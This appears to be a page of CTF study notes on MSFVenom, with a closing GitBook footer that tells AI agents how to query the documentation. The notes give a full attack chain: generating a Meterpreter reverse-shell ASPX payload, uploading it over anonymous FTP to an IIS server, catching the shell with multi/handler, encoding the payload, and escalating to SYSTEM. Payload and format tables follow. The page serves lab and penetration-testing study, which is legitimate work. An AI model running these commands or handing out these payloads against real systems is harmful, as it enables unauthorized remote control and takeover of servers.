> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/vulnerability-assessment/msf/msfvenom.md).

# MSFVenom

**What is it?**

MSFVenom = MSFPayload + MSFEncode combined into one tool. It generates payloads for specific target architectures and optionally encodes them to remove bad characters or evade AV.

> Note: Basic encoding no longer bypasses modern AV (heuristic analysis, ML-based detection). But encoding still helps with runtime stability by removing bad characters.

***

**Core Syntax**

bash

```bash
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> > output_file
```

***

**Full Workflow Example (FTP + IIS)**

**Scenario:** FTP with anonymous login, files served via IIS on port 80, no upload restrictions.

**Step 1 — Identify what the server can run**

```bash
ftp 10.10.10.5
# login anonymous
ls
# see aspnet_client folder → server runs .aspx files
```

**Step 2 — Generate the payload**

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f aspx > reverse_shell.aspx
```

* `-p` — payload type
* `LHOST/LPORT` — your attacker IP and port
* `-f aspx` — output format matching what the server can execute

**Step 3 — Upload via FTP**

```bash
ftp> put reverse_shell.aspx
```

**Step 4 — Set up listener BEFORE triggering**

```bash
msf6 > use multi/handler
msf6 > set LHOST 10.10.14.5
msf6 > set LPORT 1337
msf6 > run
```

**Step 5 — Trigger payload**

```
http://10.10.10.5/reverse_shell.aspx
```

Page looks blank — that's normal. Shell opens in your listener.

***

**If Session Dies Immediately**

Encode the payload to improve stability:

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=1337 -e x86/shikata_ga_nai -f aspx > reverse_shell.aspx
```

`-e` specifies the encoder.

***

**After Getting Shell — Standard Flow**

landed as `IIS APPPOOL\Web` (low priv) → run local exploit suggester:

```bash
meterpreter > bg
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > run
```

Pick from the results, set SESSION, run → SYSTEM.

***

**Key Flags to Know**

| Flag          | Purpose                                        |
| ------------- | ---------------------------------------------- |
| `-p`          | Payload to use                                 |
| `-f`          | Output format (aspx, exe, php, elf, raw, etc.) |
| `-e`          | Encoder to use                                 |
| `-o`          | Output to file (alternative to `>`)            |
| `LHOST/LPORT` | Attacker IP and port for reverse connection    |
| `-l payloads` | List all available payloads                    |
| `-l formats`  | List all output formats                        |
| `-l encoders` | List all encoders                              |

***

**Common Payload + Format Combos**

| Target          | Payload                               | Format                 |
| --------------- | ------------------------------------- | ---------------------- |
| Windows x86 web | `windows/meterpreter/reverse_tcp`     | `aspx`, `exe`          |
| Windows x64     | `windows/x64/meterpreter/reverse_tcp` | `exe`                  |
| Linux           | `linux/x86/meterpreter/reverse_tcp`   | `elf`                  |
| PHP web         | `php/meterpreter/reverse_tcp`         | `raw` → save as `.php` |

***

**Key Takeaway**

msfvenom generates the payload → multi/handler catches the connection. Always start your listener **before** triggering the payload. The format must match what the target can execute.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://capcap-1.gitbook.io/capcap/readme/ctf-modules/vulnerability-assessment/msf/msfvenom.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
